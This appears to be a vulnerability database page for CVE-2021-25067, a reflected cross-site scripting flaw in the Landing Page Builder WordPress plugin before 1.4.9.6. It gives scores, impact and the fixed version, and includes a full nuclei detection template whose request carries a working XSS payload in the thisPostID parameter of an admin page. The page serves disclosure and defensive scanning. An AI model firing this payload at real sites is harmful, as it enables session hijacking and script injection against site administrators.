HexBrain

Browse / CVEs / CVE-2021-25067

CVE-2021-25067· pluginops / landing page· CWE-79

Landing Page Builder < 1.4.9.6 - Cross-Site Scripting

mediumseverity
5.4CVSS score
1.1%likelihood of exploitation, next 30 days
67%of all CVEs are less likely
Readycheck to confirm it

The Landing Page Builder WordPress plugin before 1.4.9.6 was affected by a reflected XSS in page-builder-add on the ulpb_post admin page.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Fixed in version 1.4.9.6.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/edit.php?post_type=ulpb_post&page=page-builder-new-landing-page&thisPostID=test"+style=animation-name:rotation+onanimationstart=alert(document.do…
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "test\\\" style=animation-name:rotation onanimationstart=alert(document.domain)") and contains(body_2, "Enter Page …

Run it with nuclei: nuclei -id CVE-2021-25067 -u <target>

The full check
id: CVE-2021-25067

info:
  name: Landing Page Builder < 1.4.9.6 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    The Landing Page Builder WordPress plugin before 1.4.9.6 was affected by a reflected XSS in page-builder-add on the ulpb_post admin page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 1.4.9.6.
  reference:
    - https://wpscan.com/vulnerability/365007f0-61ac-4e81-8a3a-3a068f2c84bc
    - https://wordpress.org/plugins/page-builder-add/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25067
    - https://github.com/kazet/wpgarlic
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-25067
    cwe-id: CWE-79
    epss-score: 0.01121
    epss-percentile: 0.66463
    cpe: cpe:2.3:a:pluginops:landing_page:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: pluginops
    product: landing_page
    framework: wordpress
  tags: cve2021,cve,xss,wordpress,authenticated,wpscan,wp-plugin,wp,page-builder-add,pluginops,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=ulpb_post&page=page-builder-new-landing-page&thisPostID=test"+style=animation-name:rotation+onanimationstart=alert(document.domain)+x= HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "test\\\" style=animation-name:rotation onanimationstart=alert(document.domain)")'
          - 'contains(body_2, "Enter Page Title")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from